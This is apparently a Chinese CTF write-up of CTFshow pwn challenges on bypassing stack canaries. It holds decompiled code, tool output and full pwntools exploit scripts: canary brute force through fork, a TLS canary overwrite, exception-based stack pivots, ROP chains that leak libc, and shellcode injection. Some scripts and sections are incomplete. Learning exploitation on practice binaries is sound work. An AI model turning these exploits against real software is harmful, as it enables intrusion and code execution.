32位开启Canary与NX保护,部分开启RELRO保护
IDA查看main函数:
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { init(&argc); puts (asc_8048918); puts (asc_804898C); puts (asc_8048A08); puts (asc_8048A94); puts (asc_8048B24); puts (asc_8048BA8); puts (asc_8048C3C); puts (" * ************************************* " ); puts (aClassifyCtfsho); puts (" * Type : Linux_Security_Mechanism_Bypass " ); puts (" * Site : https://ctf.show/ " ); puts (" * Hint : Turned on Canary, simply bypass it! " ); puts (" * ************************************* " ); while ( 1 ) { puts ("Try PWN Me!" ); if ( !fork() ) break ; wait(0 ); } ctfshow(); exit (0 ); }
程序中存在fork函数,⽽且还是不断循环,跟进ctfshow函数:
unsigned int ctfshow () { char s[100 ]; unsigned int v2; v2 = __readgsdword(0x14u ); memset (s, 0 , sizeof (s)); read(0 , s, 0x200u ); puts (s); return __readgsdword(0x14u ) ^ v2; }
还是栈溢出漏洞,开启了Canary保护,因此我们需要先绕过保护
每次进程重启后的Canary是不同的,但是同⼀个进程中的Canary都是⼀样的。并且 通过 fork 函数创建的⼦进程的 Canary 也是相同的,因为 fork 函数会直接拷⻉⽗进程的内存。因此我们可以考虑进⾏one by one 爆破
还有后门函数:
int backdoor () { return system("/bin/sh" ); }
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) backdoor = elf.sym['backdoor' ] canary = b'\x00' for i in range (3 ): for j in range (0 , 256 ): payload = b'a' * (0x70 - 0xC ) + canary + bytes ([j]) io.send(payload) sleep(0.3 ) text = io.recv() if (b"stack smashing detected" not in text): canary += bytes ([j]) print (f"Canary: {canary.hex ()} " ) break print (f'Canary: {hex (u32(canary))} ' ) payload = b'a' * 100 + canary + b'a' * 0xc + p32(backdoor) io.send(payload) io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 363 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Canary: 0029 Canary: 002981 Canary: 00298112 Canary: 0x12812900 [*] Switching to interactive mode $ ls ctfshow_flag
pwn120(劫持TLS绕过canary) Hint:Bypass Canary 姿势6 前提条件:
溢出字节足够大(通常至少4KB) :这是因为TLS(Thread Local Storage)通常位于线程栈的高地址区域(例如,在x86-64 Linux中,TLS可能位于栈顶附近)。需要覆盖整个栈缓冲区直到TLS区域,因此溢出大小需要至少一个内存页(4KB)或更多,具体取决于TLS的偏移量。
在线程内发生栈溢出 :这种利用技术依赖于线程的TLS。主线程的TLS布局可能不同,而新创建的线程的TLS更容易定位和覆盖。因此,通常需要在程序创建一个新线程后,在该线程的栈函数中进行溢出。
原理:
TLS与canary的关系 :当程序开启canary保护(如GCC的-fstack-protector)时,每个线程在创建时都会生成一个独立的canary值,并存储在其TLS中(例如,在Linux glibc中,canary值存储在TLS结构的stack_guard字段)。函数序言中从TLS读取canary值并放入栈上,函数返回前检查栈上的canary值是否与TLS中的值一致。
TLS的位置 :在线程栈中,TLS通常位于栈的高地址端(即栈顶附近)。通过计算偏移量,可以确定TLS相对于栈缓冲区的具体位置。
劫持TLS :通过栈溢出,覆盖从栈缓冲区到TLS区域的内存,从而修改TLS中的canary值。攻击者可以将TLS中的canary值覆盖为一个已知值(例如全零),然后在溢出时构造payload,使栈上的canary值与修改后的TLS值匹配,从而绕过canary检查。
后续利用 :绕过canary后,攻击者可以进一步覆盖返回地址,执行ROP(Return-Oriented Programming)链,实现代码执行。
检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位仅关闭PIE
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { pthread_t newthread[2 ]; newthread[1 ] = __readfsqword(0x28u ); init(argc, argv, envp); logo(); pthread_create(newthread, 0 , start, 0 ); if ( pthread_join(newthread[0 ], 0 ) ) { puts ("exit failure" ); return 1 ; } else { puts ("Bye bye" ); return 0 ; } }
创建了⼀个线程,线程 ID 存到 newthread[0],新线程会执行 start 函数,跟进看⼀下:
void *__fastcall start (void *a1) { unsigned __int64 n0x5000; _BYTE s[1288 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); memset (s, 0 , 0x500u ); puts ("Old friends meet again!" ); puts ("How much do you want to send this time?" ); n0x5000 = lenth(); if ( n0x5000 <= 0x5000 ) { readn(0 , s, n0x5000); puts ("See you next time!" ); } else { puts ("Are you kidding me?" ); } return 0 ; }
⼦进程⾥⾯先让⽤⼾输⼊要输⼊的⼤⼩,如果⼤于0x5000就输出”Are you kidding me?”,如果⼩于等于就进⾏读取明显存在栈溢出。
Canary 储存在 TLS 中,在函数返回前会使⽤这个值进⾏对⽐。当溢出尺⼨较⼤时,可以同时覆盖栈上
储存的 Canary 和 TLS 储存的 Canary 实现绕过。
我们可以从这⾥溢出到TLS修改canary,接下来就是确定canary的位置
之后便是确定好偏移,然后构造ROP链,泄露地址puts函数的地址,计算出libcbase,最后然后我们只需要在构造⼀个read,写⼀个one_gadget到stack_pivot上,然后控制返回地址回stack_pivot便能获取⼀个shell了
.text:0000000000400ADA leave .text:0000000000400ADB retn .text:0000000000400ADB ; } // starts at 400A1E .text:0000000000400ADB start endp
$ ROPgadget --binary ./pwn | grep "ret" 0x0000000000400be3 : pop rdi ; ret 0x0000000000400be1 : pop rsi ; pop r15 ; ret 0x00000000004006be : ret $ readelf -S pwn There are 28 section headers, starting at offset 0x2b30: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [23] .bss NOBITS 0000000000602010 00002010 0000000000000020 0000000000000000 WA 0 0 16 $ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f29e execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, "-c" , r12, NULL} is a valid argv 0x4f2a5 execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv 0x4f302 execve("/bin/sh" , rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv 0x10a2fc execve("/bin/sh" , rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) leave_addr = 0x400ADA pop_rdi_ret = 0x400be3 pop_rsi_r15_ret = 0x400be1 bss_addr = 0x602010 payload = b'a' * 0x510 + p64(bss_addr - 0x8 ) payload += p64(pop_rdi_ret) + p64(elf.got['puts' ]) + p64(elf.symbols['puts' ]) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0 ) + p64(elf.symbols["read" ]) payload += p64(leave_addr) payload = payload.ljust(0x1000 , b'a' ) io.sendlineafter(b"How much do you want to send this time?\n" , b'4096' ) sleep(0.5 ) io.send(payload) io.recvuntil(b"See you next time!\n" ) puts = u64(io.recv(6 ).ljust(8 , '\x00' )) print (hex (puts)) libc_base = puts - libc.symbols["puts" ] one_gadget = libc_base + 0x4f302 payload = p64(one_gadget) io.send(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 94 [*] '/PWN/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x7f214ffb4970 [*] Switching to interactive mode $ ls ctfshow_flag
pwn121(ret不懂) Hint:Bypass Canary 姿势7 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
64位开启Canary与NX保护,部分开启RELRO
IDA查看main函数(修改函数名后):
__int64 __fastcall main (int a1, char **a2, char **a3) { unsigned int seed; int v5; setbuf(stdin , 0 ); setbuf(stdout , 0 ); seed = time(0 ); srand(seed); puts ("1.start flexmd5" ); puts ("2.start flexsha256" ); puts ("3.start flexsha1" ); puts ("4.test security" ); puts ("0 quit" ); puts ("option:" ); v5 = sub_400F45("option:" ); switch ( v5 ) { case 1 : flexmd5("option:" ); break ; case 2 : flexsha256("option:" ); break ; case 3 : flexsha1("option:" ); break ; case 4 : ctfshow("option:" ); break ; default : return 0 ; } return 0 ; }
根据菜单栏,我们不难发现,⾸先着重引起注意的就是4 (ctfshow)跟进查看:
__int64 __fastcall ctfshow (__int64 p_option:) { int v2; puts ("1.test format string." ); puts ("2.test stackoverflow." ); puts ("3.test heapoverflow." ); puts ("option:" ); v2 = sub_400F45("option:" ); switch ( v2 ) { case 1 : return fmt(); case 2 : return stack_overflow(); case 3 : return heap_overflow(); } return 0 ; }
这⾥存在三个漏洞,分别为格式化字符串漏洞,栈溢出漏洞,堆溢出漏洞
fmt:
__int64 fmt () { unsigned __int64 buf; unsigned __int8 buf_1; char v3; int n255; int n255_1; int v6; int v7; int v8; int i; signed __int64 v10; signed __int64 v11; char format[512 ]; char s[256 ]; char buf_[256 ]; char s_[520 ]; unsigned __int64 v16; v16 = __readfsqword(0x28u ); memset (format, 0 , sizeof (format)); strcpy (s, "try_to_get_flag" ); memset (&s[16 ], 0 , 0xF0u ); v10 = strlen (s); buf = (unsigned __int64)buf_; memset (buf_, 0 , sizeof (buf_)); v7 = 0 ; for ( n255 = 0 ; n255 <= 255 ; ++n255 ) { format[n255] = n255; buf = (unsigned __int8)s[n255 % v10]; buf_[n255] = buf; } for ( n255_1 = 0 ; n255_1 <= 255 ; ++n255_1 ) { v7 = (buf_[n255_1] + v7 + format[n255_1]) % 256 ; buf_1 = format[n255_1]; format[n255_1] = format[v7]; buf = buf_1; format[v7] = buf_1; } sub_400E76(s_, 500 , buf); v11 = strlen (s_); v8 = 0 ; v6 = 0 ; for ( i = 0 ; i < v11; ++i ) { v6 = (v6 + 1 ) % 256 ; v8 = (v8 + format[v6]) % 256 ; v3 = format[v6]; format[v6] = format[v8]; format[v8] = v3; s_[i] ^= format[(format[v8] + format[v6]) % 256 ]; } printf (format); return 0 ; }
格式化字符串不可控[format数组的最终内容完全由程序初始逻辑和固定算法生成,不包含任何用户可控数据 。]
stack_overflow:
int stack_overflow () { unsigned int v0; int v2; int v3; int i; int j; int k; _DWORD v7[15026 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); scanf ("%d" , &v2); scanf ("%d" , &v3); for ( i = 1 ; i <= v2; ++i ) scanf ("%d %d" , &v7[i], &v7[i + 12 ]); for ( j = 1 ; j <= v2; ++j ) { for ( k = 1 ; k <= v3; ++k ) { if ( v7[j] > (unsigned int )k ) { v7[1500 * j + 24 + k] = v7[1500 * j - 1476 + k]; } else { v0 = v7[1500 * j - 1476 + k]; if ( v7[j + 12 ] + v7[1500 * j - 1476 + k - v7[j]] >= v0 ) v0 = v7[j + 12 ] + v7[1500 * j - 1476 + k - v7[j]]; v7[1500 * j + 24 + k] = v0; } } } return printf ("%d\n" , v7[1500 * v2 + 24 + v3]); }
结构化写⼊(难用),但是程序开启了Canary保护
heap_overflow:
__int64 heap_overflow () { int v0; _BYTE *v1; __int64 result; char char ; int i; unsigned int j; int v6; int v7; int v8; _BYTE *v9; v6 = 0 ; v9 = malloc (0x3E8u ); v7 = -1 ; v8 = -1 ; while ( 1 ) { char = getchar(); if ( char == -1 ) break ; v0 = v6++; v9[v0] = char ; } for ( i = 0 ; i < v6; ++i ) { if ( v7 == -1 ) { if ( v8 == -1 && v9[i] == 34 && v9[i - 1 ] != 92 ) { v8 = 1 ; } else if ( v8 == 1 && v9[i] == 34 && v9[i - 1 ] != 92 ) { v8 = -1 ; } } if ( v8 == -1 ) { if ( v7 == -1 && v9[i] == 47 && v9[i + 1 ] == 42 ) { v7 = 1 ; v9[i] = -1 ; } else if ( v7 == 1 && v9[i] == 42 && v9[i + 1 ] == 47 ) { v1 = &v9[i + 1 ]; *v1 = -1 ; v9[i] = *v1; v7 = -1 ; ++i; } else if ( v7 == 1 ) { v9[i] = -1 ; } } } for ( j = 0 ; ; ++j ) { result = j; if ( (int )j >= v6 ) break ; if ( v9[j] != 0xFF ) putchar ((char )v9[j]); } return result; }
只有 “while 循环读字符并写入 v9” 这一处操作会导致堆溢出 ,不会导致程序无法正常返回[堆内存与栈内存的独立性](没用)
从单个函数或者⾛⼊这个分⽀来看,并不好利⽤
查看其他函数(flexmd5):
仔细观察函数流程,发现程序⾥进⾏了⼀个异常捕捉机制,在伪代码中这个结构体并没有显⽰
跟进函数查看⼀下:
__int64 __fastcall sub_401148 (__int64 p_option:) { __int64 v1; __int64 v2; _DWORD *exception; _DWORD *v4; __int64 v5; int i; char s1[264 ]; unsigned __int64 v9; v9 = __readfsqword(0x28u ); puts ("FlexMD5 bruteforce tool V0.1" ); puts ("custom md5 state (yes/No)" ); sub_400E76(s1, 4 , v1); if ( !strncmp (s1, "yes" , 3u ) ) { dword_6061A4 = 1 ; puts ("initial state[0]:" ); dword_6061B0 = sub_400F45("initial state[0]:" ); puts ("initial state[1]:" ); dword_6061B4 = sub_400F45("initial state[1]:" ); puts ("initial state[2]:" ); dword_6061B8 = sub_400F45("initial state[2]:" ); puts ("initial state[3]:" ); dword_6061BC = sub_400F45("initial state[3]:" ); } puts ("custom charset (yes/No)" ); sub_400E76(s1, 4 , v2); if ( !strncmp (s1, "yes" , 3u ) ) { dword_6061A4 = 1 ; puts ("charset length:" ); n256 = sub_400F45("charset length:" ); if ( n256 > 256 ) { exception = __cxa_allocate_exception(4u ); *exception = 2 ; __cxa_throw(exception, (struct type_info *)&`typeinfo for 'int, 0); } puts("charset:"); sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1)); off_606118 = strdup(s1); // "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" } puts("bruteforce message pattern:"); sub_400F1E(s_, 1024); dword_6061A0 = strlen(s_); for ( i = 0; i < strlen(s_) && s_[i] != 46; ++i ) ; if ( i == strlen(s_) ) { v4 = __cxa_allocate_exception(4u); *v4 = 0; __cxa_throw(v4, (struct type_info *)&`typeinfo for' int , 0 ); } puts ("md5 pattern:" ); sub_400E76(byte_6065C0, 33 , v5); return 0 ; }
仔细观察可以发现这⾥存在⼀个整形溢出,对输⼊+1后进⾏了⽆符号整形强制转换[ sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));]
__int64 __fastcall sub_400E76 (__int64 a1, unsigned int a2) { char buf; unsigned int i; unsigned __int64 v5; v5 = __readfsqword(0x28u ); for ( i = 0 ; i < a2; ++i ) { read(0 , &buf, 1u ); if ( buf == 10 ) { *(_BYTE *)(i + a1) = 0 ; return i + 1 ; } *(_BYTE *)(a1 + i) = buf; } *(_BYTE *)(a2 - 1 + a1) = 0 ; return i; }
进⽽⼜有了⼀个栈溢出漏洞,同样的程序开启了Canary保护,还是要想办法绕过
这⾥我们就需要了解并利⽤异常机制去绕过Canary保护了(详细原理课程中会给⼤家讲解,这⾥不讲述原理)
我们现在需要跳过canary检查,如果异常被上⼀个函数的catch捕获,所以rbp变成了上⼀个函数的rbp, ⽽通过构造⼀个payload把上⼀个函数的rbp修改成stack_pivot地址, 之后上⼀个函数返回的时候执⾏leave ret,这样⼀来我们就能成功绕过canary的检查,⽽且进⼀步我们也能控制eip,,去执⾏了stack_pivot中的rop了。
.bss:00000000006061C0 ; char s_[1024] .bss:00000000006061C0 s_ db ? ; DATA XREF: sub_400F8F+29↑r .bss:00000000006061C0 ; sub_400F8F+50↑r ... .plt:0000000000400BD0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts] .got.plt:0000000000606020 off_606020 dq offset puts ; DATA XREF: _puts↑r .text:0000000000401508 ; try { .text:0000000000401508 call sub_401148 .text:000000000040150D call sub_400F8F
ssize_t __fastcall sub_400F1E (void *s, size_t n1024) { return read(0 , s, n1024); } sub_401148: char s1[264 ];
$ ROPgadget --binary ./pwn | grep "ret" 0x00000000004044d3 : pop rdi ; ret 0x00000000004044d1 : pop rsi ; pop r15 ; ret $ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f29e execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, "-c" , r12, NULL} is a valid argv 0x4f2a5 execve("/bin/sh" , rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv 0x4f302 execve("/bin/sh" , rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv 0x10a2fc execve("/bin/sh" , rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process("./pwn" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) message_pattern = 0x6061C0 puts_plt = 0x400BD0 puts_got = 0x606020 readn = 0x400F1E pop_rdi = 0x4044d3 pop_rsi_r15 = 0x4044d1 ret = 0x40150c io.recvuntil(b"option:\n" ) io.sendline(b"1" ) io.sendline(b"No" ) io.sendline(b"yes" ) io.sendline(b'-2' ) payload = p64(message_pattern)*37 + p64(ret) io.sendline(payload) payload = ( p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(message_pattern + 0x50 ) + p64(pop_rsi_r15) + p64(1024 ) + p64(message_pattern + 0x50 ) + p64(readn) ) io.send(payload) io.recvuntil(b"pattern:\n" ) puts = u64(io.recvuntil(b"\n" )[:-1 ].ljust(8 ,b"\x00" )) libc_base = puts - libc.symbols["puts" ] one_gadget = libc_base + 0x4f302 payload = p64(one_gadget) io.send(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 188 [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode $ ls
pwn122【堆,过】 Hint:Bypass Canary 姿势8,远程环境:Ubuntu 16 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
32位开启Canary保护NX保护,部分开启RELRO
IDA查看main函数:
int main () { void *ptr; sub_804866D(); ptr = 0 ; while ( 1 ) { switch ( sub_8048B2E() ) { case 1 : if ( ptr ) free (ptr); ptr = (void *)sub_8048B03(0x100u ); sub_8048510("Done." ); continue ; case 2 : if ( ptr ) sub_8048780((char *)ptr); goto LABEL_17; case 3 : if ( ptr ) sub_8048823((char *)ptr); goto LABEL_17; case 4 : if ( ptr ) sub_80488C6((char *)ptr); goto LABEL_17; case 5 : if ( ptr ) sub_8048A70((char *)ptr); LABEL_17: sub_8048510("Done." ); break ; case 6 : if ( ptr ) { sub_80484B0("The Flag is: %s\n" , (const char *)ptr); free (ptr); ptr = 0 ; sub_8048510("Done." ); } else { sub_8048510("You have to input flag first!" ); } break ; case 7 : sub_8048510("Bye" ); return 0 ; default : sub_8048510("Invalid!" ); break ; } } }
看⼀下菜单:
int sub_8048B2E () { sub_8048510("*CTFshow flag Generator* " ); sub_8048510("1. Input Flag" ); sub_8048510("2. Uppercase" ); sub_8048510("3. Lowercase" ); sub_8048510("4. Leetify" ); sub_8048510("5. Add Prefix" ); sub_8048510("6. Output Flag" ); sub_8048510("7. Exit " ); sub_8048510("=========================" ); sub_80484B0("Your choice: " ); return sub_804873E(); }
对应7个分⽀分别对应7个选项
跟进选项sub_80488C6:
unsigned int __cdecl sub_80488C6 (char *dest) { char *v1; char *v2; char *v3; _BYTE *v4; char *v5; char *v6; char *v7; char *v8; char *v9; char *v10; char *v11; char *p_src; char *dest_1; char src[256 ]; unsigned int v16; v16 = __readgsdword(0x14u ); p_src = src; for ( dest_1 = dest; *dest_1; ++dest_1 ) { switch ( *dest_1 ) { case 'A' : case 'a' : v1 = p_src++; *v1 = 52 ; break ; case 'B' : case 'b' : v2 = p_src++; *v2 = 56 ; break ; case 'E' : case 'e' : v3 = p_src++; *v3 = 51 ; break ; case 'H' : case 'h' : *p_src = 49 ; p_src[1 ] = 45 ; v4 = p_src + 2 ; p_src += 3 ; *v4 = 49 ; break ; case 'I' : case 'i' : v5 = p_src++; *v5 = 33 ; break ; case 'L' : case 'l' : v6 = p_src++; *v6 = 49 ; break ; case 'O' : case 'o' : v7 = p_src++; *v7 = 48 ; break ; case 'S' : case 's' : v8 = p_src++; *v8 = 53 ; break ; case 'T' : case 't' : v9 = p_src++; *v9 = 55 ; break ; case 'Z' : case 'z' : v10 = p_src++; *v10 = 50 ; break ; default : v11 = p_src++; *v11 = *dest_1; break ; } } *p_src = 0 ; strcpy (dest, src); return __readgsdword(0x14u ) ^ v16; }
可以看到将选项1读⼊的flag,传⼊到选项4的sub_80488C6函数中,flag中只要含有h或者H字符就会变成三个字符-> “1-1” ,可以利⽤这个进⾏栈溢出。然后函数结尾还有strcpy,将变换后的src字符串,拷⻉到dest指向的内存位置。然后由于栈溢出覆盖了canary,所以函数最后会触发stack_chk_fail函数。可以利⽤栈溢出,strcpy,和触发stack_chk_fail函数,以及搜集的ROPgadget,进⾏getshell
可以进⾏验证⼀下:
$ ./pwn *CTFshow flag Generator* 1. Input Flag 2. Uppercase 3. Lowercase 4. Leetify 5. Add Prefix 6. Output Flag 7. Exit ========================= Your choice: 1 abcdefghijklmn Done. *CTFshow flag Generator* 1. Input Flag 2. Uppercase 3. Lowercase 4. Leetify 5. Add Prefix 6. Output Flag 7. Exit ========================= Your choice: 4 Done. *CTFshow flag Generator* 1. Input Flag 2. Uppercase 3. Lowercase 4. Leetify 5. Add Prefix 6. Output Flag 7. Exit ========================= Your choice: 6 The Flag is: 48cd3fg1-1!jk1mn Done.
其他的都是⼀个字符对应⼀个字符,只有h由原本的h变成了1-1
具体流程:
⾸先选1,输⼊flag,然后选4,将输⼊的flag中的h变成1-1字符串,在4选项进⼊的函数结尾处,strcpy,将ebp+8位置指向堆的指针地址,存到dest,将 从输⼊的flag中变化后的字符串 的起始地址传到src处,
将src处字符串拷⻉到dest处
由于 可以将h字符变⻓造成栈溢出,所以可以覆盖ebp+8位置的地址,
覆盖为stack_chk_fail的got地址。然后strcpy将src处的字符串拷⻉到stack_chk_fail的got地址处。
这⾥可以通过构造出泄漏出puts函数的地址,然后进⾏常规的rop,当然,还有更加简单的⽅法,这⾥⼤家可以⾃⾏尝试
from pwn import *context.log_level = 'debug' io = process('./pwn' )
pwn123 Hint:Bypass Canary 姿势9 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位开启Canary保护NX保护,部分开启RELRO
IDA查看main函数:
int __cdecl main (int argc, const char **argv, const char **envp) { init(); logo(); whoareyou(); ctfshow(); seeyou(); return 0 ; }
着重看whoareyou,ctfshow,seeyou这三个函数:
Whoareyou():
char *whoareyou () { puts ("what's your name?" ); return gets(name); }
name在bss段:
.bss:0804B060 public name .bss:0804B060 ; char name[1024] .bss:0804B060 name db 400h dup(?) ; DATA XREF: whoareyou+27↑o .bss:0804B060 ; seeyou+14↑o
ctfshow():
unsigned int ctfshow () { int n9; int n9_1; _DWORD p_n9[11 ]; unsigned int v4; v4 = __readgsdword(0x14u ); for ( n9 = 0 ; n9 <= 9 ; ++n9 ) p_n9[n9 + 1 ] = 0 ; while ( 1 ) { puts ("0 > exit" ); puts ("1 > edit number" ); puts ("2 > show number" ); puts ("3 > sum" ); puts ("4 > dump all numbers" ); printf (" > " ); __isoc99_scanf("%d" , p_n9); switch ( p_n9[0 ] ) { case 0 : return __readgsdword(0x14u ) ^ v4; case 1 : printf ("Index to edit: " ); __isoc99_scanf("%d" , &n9); printf ("How many? " ); __isoc99_scanf("%d" , &n9_1); p_n9[n9 + 1 ] = n9_1; break ; case 2 : printf ("Index to show: " ); __isoc99_scanf("%d" , &n9); printf ("arr[%d] is %d\n" , n9, p_n9[n9 + 1 ]); break ; case 3 : n9_1 = 0 ; for ( n9 = 0 ; n9 <= 9 ; ++n9 ) n9_1 += p_n9[n9 + 1 ]; printf ("Sum is %d\n" , n9_1); break ; case 4 : for ( n9 = 0 ; n9 <= 9 ; ++n9 ) printf ("arr[%d] is %d\n" , n9, p_n9[n9 + 1 ]); break ; default : continue ; } } }
1(edit)
1. 读入n9(索引)和n9_1(数值); 2. p_n9[n9 + 1] = n9_1;
无索引检查 :用户可输入任意n9(如n9=14),修改p_n9[15](返回地址)为后门地址。
2(show)
1. 读入n9(索引); 2. 打印p_n9[n9 + 1]的值
无索引检查 :用户可输入n9=10,读取p_n9[11](Canary 值),实现 Canary 泄露。
数组首元素到返回地址的总字节偏移:
算总字节偏移:(ebp+4) - (ebp-0x38) = 0x3C
字节→实际索引:0x3C ÷4 =15(p_n9[15])
实际→逻辑索引:n9+1=15 →n9=14
存在后⻔函数init0():
int init0 () { return system("/bin/sh" ); }
所以我们只需要将arr[14]修改成后⻔函数地址即可get shell
from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = process('./pwn' ) elf = ELF('./pwn' ) init0 = elf.sym['init0' ] io.sendlineafter(b"what's your name?" ,b'rhea' ) io.recvuntil(b"4 > dump all numbers" ) io.sendlineafter(b" > " ,b'1' ) io.sendlineafter(b"Index to edit: " ,b'14' ) io.sendlineafter(b"How many? " ,str (init0).encode()) io.sendline(b'0' ) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 90 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] Switching to interactive mode 0 > exit 1 > edit number 2 > show number 3 > sum 4 > dump all numbers > $ ls ctfshow_flag
pwn124 Hint:No NX 但是多了啥? 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位仅部分开启RELRO保护
IDA查看main函数:
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; char s1[14 ]; int *p_argc; p_argc = &argc; init(); logo(); __isoc99_scanf("%s" , s1, v4, v5); if ( !strcmp (s1, "CTFshowPWN" ) ) ctfshow(p_argc); else puts ("Good Luck!~" ); return 0 ; }
先输⼊⼀个字符串,然后进⼊判断,如果输⼊的是”CTFshowPWN”就进⼊ctfshow函数,跟进ctfshow函数:
; int __cdecl ctfshow(_DWORD p_argc) public ctfshow proc near ; CODE XREF: main+57↓p buf = byte ptr -3Ah var_4 = dword ptr -4 p_argc = dword ptr 8 ; __unwind { push ebp mov ebp, esp push ebx sub esp, 44h call __x86_get_pc_thunk_ax add eax, (offset _GLOBAL_OFFSET_TABLE_ - $) sub esp, 4 #栈对齐 push 77h ; 'w' ; nbytes lea edx, [ebp+buf] push edx ; buf push 0 ; fd mov ebx, eax #保存GOT地址到EBX call _read add esp, 10h #清理栈上的参数(3个参数共12字节 + 之前的4字节对齐 = 16字节=0x10) lea eax, [ebp+buf] #将buf的地址加载到EAX寄存器 call eax #调用EAX指向的地址(即执行buf中的内容) nop mov ebx, [ebp+var_4] leave retn ; } // starts at 804869E ctfshow endp
ctfshow函数的核心逻辑是:读取用户输入(最多 119 字节)到栈上的缓冲区,然后直接执行缓冲区中的内容 。由于程序关闭了 NX 保护(栈可执行),只需向该缓冲区注入 shellcode,即可通过call eax触发执行,最终获取 shell。
from pwn import *context.log_level = 'debug' io = process('./pwn' ) shellcode = asm(shellcraft.sh()) io.sendline(b"CTFshowPWN" ) io.send(shellcode) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 120 [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : NX disabled & Has RWX segments * ************************************* $ ls ctfshow_flag
pwn125 Hint:开启了NX,看看汇编多了啥? 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位开启NX,部分开启RELRO
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); ctfshow(); return 0 ; }
跟进ctfshow函数:
__int64 ctfshow () { _BYTE v1[8192 ]; return __isoc99_scanf("%s" , v1); }
很明显存在缓冲区溢出漏洞[栈上为var_2000分配了0x2000(8192 字节)空间,但scanf会一直读入直到遇到空格 / 换行,完全不检查输入长度。],常规做法⼀般会如何去做?由于开启了NX,⼀般会考虑使⽤ROP去绕过NX,继续查看发现程序中有system函数地址,找到ez函数:
int ez () { return system("echo 'just_do_it!'" ); }
常规做法这⾥不再概述,相信⼤家在前⾯练了这么多应该都会了,我们仔细查看汇编代码(看伪代码看不出来的地⽅):
